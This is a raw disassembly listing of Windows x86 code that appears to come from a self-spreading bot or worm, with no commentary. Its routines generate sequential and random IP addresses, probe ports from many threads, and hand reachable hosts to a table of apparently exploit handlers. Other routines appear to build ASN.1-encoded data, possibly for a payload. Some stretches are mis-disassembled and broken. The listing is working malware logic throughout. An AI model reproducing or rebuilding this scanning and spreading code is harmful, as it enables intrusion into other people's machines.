		call	ds:dword_4CDB20	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4CDBF4	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C500
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BE0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE55	proc near		; CODE XREF: sub_40BF8E+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B1D0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40BE7D
		xor	eax, eax
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------


loc_40BE7D:				; CODE XREF: sub_40BE55+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C835
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40BEAA
		call	sub_41BAD2
		mov	[ebp+var_C], eax


loc_40BEAA:				; CODE XREF: sub_40BE55+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40BEB7
		call	sub_41BAD2
		mov	[ebp+var_8], eax


loc_40BEB7:				; CODE XREF: sub_40BE55+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40BEC4
		call	sub_41BAD2
		mov	[ebp+var_4], eax


loc_40BEC4:				; CODE XREF: sub_40BE55+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40BED0
		call	sub_41BAD2


loc_40BED0:				; CODE XREF: sub_40BE55+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4CDD38[ecx*8],	eax


loc_40BEEE:				; CODE XREF: sub_40BE55+26j
		pop	esi
		leave
		retn
sub_40BE55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF1	proc near		; CODE XREF: seg000:0040B75Cp
					; sub_40BF8E+A9p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_4CDC78	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BF1A
		xor	eax, eax
		jmp	short loc_40BF89
; ---------------------------------------------------------------------------


loc_40BF1A:				; CODE XREF: sub_40BEF1+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_4CDC94	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4CDBA0	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_4CDBE0	; select
		push	esi
		mov	edi, eax
		call	ds:dword_4CDC90	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40BF89:				; CODE XREF: sub_40BEF1+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BEF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF8E	proc near		; DATA XREF: seg000:0040C2DDo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_75		= dword	ptr -75h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_40C17F
; ---------------------------------------------------------------------------


loc_40BFDA:				; CODE XREF: sub_40BF8E+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40BFF0
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BE55
		pop	ecx
		jmp	short loc_40BFF5
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BF8E+51j
		call	sub_40BE0D


loc_40BFF5:				; CODE XREF: sub_40BF8E+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_440B3C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433208
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_440938[ebx]
		push	eax
		call	sub_41BA76
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40BEF1
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C174
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C0C9
		push	offset dword_4CFD38
		call	ds:dword_4280D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4331E0
		push	eax
		call	sub_41BA76
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C0AB
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C09F
		lea	eax, [ebp+var_140]


loc_40C09F:				; CODE XREF: sub_40BF8E+109j
		push	eax
		push	[ebp+var_40]
		call	sub_409966
		add	esp, 14h


loc_40C0AB:				; CODE XREF: sub_40BF8E+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4152AE
		mov	[esp+2A8h+var_2A8], offset dword_4CFD38
		call	ds:dword_4280D0	; RtlLeaveCriticalSection
		jmp	loc_40C174
; ---------------------------------------------------------------------------


loc_40C0C9:				; CODE XREF: sub_40BF8E+BEj
		push	edi
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41BA76
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41BA76
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C10D
		lea	eax, [ebp+var_140]


loc_40C10D:				; CODE XREF: sub_40BF8E+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41BA76
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	ds:off_432A94[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C174:				; CODE XREF: sub_40BF8E+B4j
					; sub_40BF8E+136j
		push	7D0h
		call	ds:dword_428064	; Sleep


loc_40C17F:				; CODE XREF: sub_40BF8E+47j
		mov	eax, ds:dword_440B3C[ebx]
		cmp	ds:dword_4CDD3C[eax*8],	0
		jnz	loc_40BFDA
		push	esi
		call	sub_40B287
		pop	ecx
		push	0
		call	near ptr 0B10000h


loc_40C1A1:				; DATA XREF: seg000:004039F1o
					; seg000:004076BEo
		add	[ebp+var_75], edx
sub_40BF8E	endp ; sp-analysis failed

		in	al, dx
		sub	esp, 1CCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-14Ch]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp-14Ch]
		push	eax
		call	ds:dword_4CDC38	; inet_addr
		mov	ecx, [ebp-2Ch]
		sub	esp, 14Ch
		lea	esi, [ebp-14Ch]
		push	53h
		mov	ds:dword_4CDD38[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40B929
		push	0Bh
		call	sub_40B1B3
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C270
		mov	esi, offset dword_4CFD38
		push	esi
		call	ds:dword_4280DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4280D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C270
		lea	eax, [ebp-1CCh]
		push	offset unk_4332EC
		push	eax
		call	sub_41BA76
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp-10h], ebx
		pop	ecx
		jnz	short loc_40C25A
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_409966
		add	esp, 14h


loc_40C25A:				; CODE XREF: seg000:0040C23Bj
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4152AE
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C270:				; CODE XREF: seg000:0040C205j
					; seg000:0040C221j
		mov	eax, [ebp-2Ch]
		mov	esi, ds:dword_428064
		mov	edi, ebx
		mov	ds:dword_4CDD3C[eax*8],	ebx
		xor	ebx, ebx
		cmp	dword ptr [ebp-20h], 1
		jb	loc_40C332


loc_40C28E:				; CODE XREF: seg000:0040C32Cj
		push	edi
		lea	eax, [ebp-14Ch]
		push	dword ptr [ebp-2Ch]
		mov	[ebp-24h], edi
		push	dword ptr [ebp-38h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_4332B8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-1CCh]
		push	0Bh
		push	eax
		call	sub_40AF71
		mov	[ebp-28h], eax
		imul	eax, 234h
		mov	ecx, [ebp-2Ch]
		add	esp, 24h
		mov	ds:dword_440B3C[eax], ecx
		lea	eax, [ebp-14Ch]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40BF8E
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-28h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40C349
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_433280
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4152AE
		add	esp, 10h


loc_40C324:				; CODE XREF: seg000:0040C34Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp-20h]
		jbe	loc_40C28E


loc_40C332:				; CODE XREF: seg000:0040C288j
		cmp	[ebp-30h], ebx
		jz	short loc_40C357
		mov	eax, [ebp-30h]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40C364
; ---------------------------------------------------------------------------


loc_40C345:				; CODE XREF: seg000:0040C34Cj
		push	1Eh
		call	esi	; Sleep


loc_40C349:				; CODE XREF: seg000:0040C2FBj
		cmp	[ebp-4], ebx
		jz	short loc_40C345
		jmp	short loc_40C324
; ---------------------------------------------------------------------------


loc_40C350:				; CODE XREF: seg000:0040C362j
		push	7D0h
		call	esi	; Sleep


loc_40C357:				; CODE XREF: seg000:0040C335j
		mov	eax, [ebp-2Ch]
		cmp	ds:dword_4CDD3C[eax*8],	1
		jz	short loc_40C350


loc_40C364:				; CODE XREF: seg000:0040C343j
		push	dword ptr [ebp-30h]
		mov	eax, [ebp-2Ch]
		push	dword ptr [ebp-38h]
		mov	eax, ds:dword_4CDD38[eax*8]
		push	eax
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_433240
		push	eax
		call	sub_41BA76
		add	esp, 14h
		cmp	[ebp-10h], ebx
		jnz	short loc_40C3B2
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_409966
		add	esp, 14h


loc_40C3B2:				; CODE XREF: seg000:0040C393j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4152AE
		mov	eax, [ebp-2Ch]
		mov	dword ptr [esp], 0BB8h
		mov	ds:dword_4CDD3C[eax*8],	ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B1B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C3E9
		push	offset dword_4CFD38
		call	ds:dword_4280DC	; RtlDeleteCriticalSection


loc_40C3E9:				; CODE XREF: seg000:0040C3DCj
		push	dword ptr [ebp-2Ch]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h
		bound	edx, [ebp-75h]
		in	al, dx
		sub	esp, 0BCh
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0BCh]
		push	10h
		rep movsd
		xor	esi, esi
		push	0
		inc	esi
		mov	[eax+0A8h], esi
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	dword ptr [ebp-38h]
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-0Eh], ax
		mov	eax, [ebp-28h]
		push	6
		push	esi
		push	2
		mov	[ebp-0Ch], eax
		call	ds:dword_4CDC78	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C4B7
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4CDBA0	; connect
		mov	ecx, [ebp-2Ch]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_440B44[ecx], esi
		jz	short loc_40C4B7
		push	dword ptr [ebp-38h]
		push	dword ptr [ebp-28h]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		mov	edi, offset dword_4D06F8
		push	offset unk_433320
		push	edi
		call	sub_41BA76
		push	0
		lea	eax, [ebp-0B8h]
		push	dword ptr [ebp-20h]
		push	edi
		push	eax
		push	dword ptr [ebp-0BCh]
		call	sub_409966
		push	edi
		call	sub_4152AE
		add	esp, 28h


loc_40C4B7:				; CODE XREF: seg000:0040C456j
					; seg000:0040C477j
		push	esi
		call	ds:dword_4CDC90	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C4C6	proc near		; DATA XREF: seg000:00407AACo

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, ds:dword_428064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C4F4:				; CODE XREF: sub_40C4C6+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_433348
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_440938
		push	eax
		call	sub_41B7E0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	40C3F9h
		push	edi
		push	edi
		call	ds:dword_42807C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C560
		jmp	short loc_40C55B
; ---------------------------------------------------------------------------


loc_40C557:				; CODE XREF: sub_40C4C6+98j
		push	32h
		call	esi	; Sleep


loc_40C55B:				; CODE XREF: sub_40C4C6+8Fj
		cmp	[ebp+var_C], edi
		jz	short loc_40C557


loc_40C560:				; CODE XREF: sub_40C4C6+8Dj
		push	[ebp+var_4]
		call	ds:dword_42806C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_4CDB20	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4CDBF4	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		jmp	loc_40C4F4
sub_40C4C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C5B7	proc near		; DATA XREF: seg000:004077C3o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_428064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C5E5:				; CODE XREF: sub_40C5B7+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_43339C
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_440938
		push	eax
		call	sub_41B7E0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	40C3F9h
		push	edi
		push	edi
		call	ds:dword_42807C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C651
		jmp	short loc_40C64C
; ---------------------------------------------------------------------------


loc_40C648:				; CODE XREF: sub_40C5B7+98j
		push	32h
		call	esi	; Sleep


loc_40C64C:				; CODE XREF: sub_40C5B7+8Fj
		cmp	[ebp+var_8], edi
		jz	short loc_40C648


loc_40C651:				; CODE XREF: sub_40C5B7+8Dj
		push	[ebp+arg_0]
		call	ds:dword_42806C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C678
		inc	[ebp+var_2C]
		jmp	loc_40C5E5
; ---------------------------------------------------------------------------


loc_40C678:				; CODE XREF: sub_40C5B7+B7j
		push	[ebp+var_1C]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_433370
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409966
		push	[ebp+var_20]
		call	sub_40B287
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C5B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6C4	proc near		; CODE XREF: sub_40C930+Ep
					; sub_40C930+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C6C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6CE	proc near		; CODE XREF: sub_40C930+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_41B6C5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C700
		push	ebx
		push	0
		push	edi
		call	sub_41B780
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C500
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C700:				; CODE XREF: sub_40C6CE+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C6CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C708	proc near		; CODE XREF: sub_40C7FA+18p
					; sub_40C874+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C754
		push	edi
		push	0
		push	esi
		call	sub_41B780
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C500
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C500
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C754:				; CODE XREF: sub_40C708+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C708	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C75D	proc near		; CODE XREF: sub_40C7FA+5Ep
					; sub_40C7FA+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C76D
		push	eax
		call	sub_41B2A1
		pop	ecx


loc_40C76D:				; CODE XREF: sub_40C75D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C75D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C776	proc near		; CODE XREF: sub_40C7FA+20p
					; sub_40C8D5+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C7A0
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_41B6C5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C7A4


loc_40C7A0:				; CODE XREF: sub_40C776+Dj
		xor	al, al
		jmp	short loc_40C7F6
; ---------------------------------------------------------------------------


loc_40C7A4:				; CODE XREF: sub_40C776+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_41B780
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C7C4
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40C7D9
; ---------------------------------------------------------------------------


loc_40C7C4:				; CODE XREF: sub_40C776+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40C7D9:				; CODE XREF: sub_40C776+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B2A1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C7F6:				; CODE XREF: sub_40C776+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7FA	proc near		; CODE XREF: sub_40C930+89p
					; sub_40C930+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CDAB0
		call	sub_40C708
		lea	ecx, [ebp+var_8]
		call	sub_40C776
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B6C5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C834
		xor	al, al
		jmp	short loc_40C870
; ---------------------------------------------------------------------------


loc_40C834:				; CODE XREF: sub_40C7FA+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B780
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C500
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C75D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C75D
		mov	al, 1


loc_40C870:				; CODE XREF: sub_40C7FA+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C7FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C874	proc near		; CODE XREF: sub_40C8A8+14p
					; sub_40C8C5+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C708
		mov	ecx, esi
		call	sub_40C75D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C874	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8A8	proc near		; CODE XREF: sub_40C930+F0p
					; sub_40C930+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B1D0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C874
		pop	esi
		retn	4
sub_40C8A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8C5	proc near		; CODE XREF: sub_40C911+Bp
					; sub_40C930+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C874
		retn	8
sub_40C8C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8D5	proc near		; CODE XREF: sub_40C911+16p
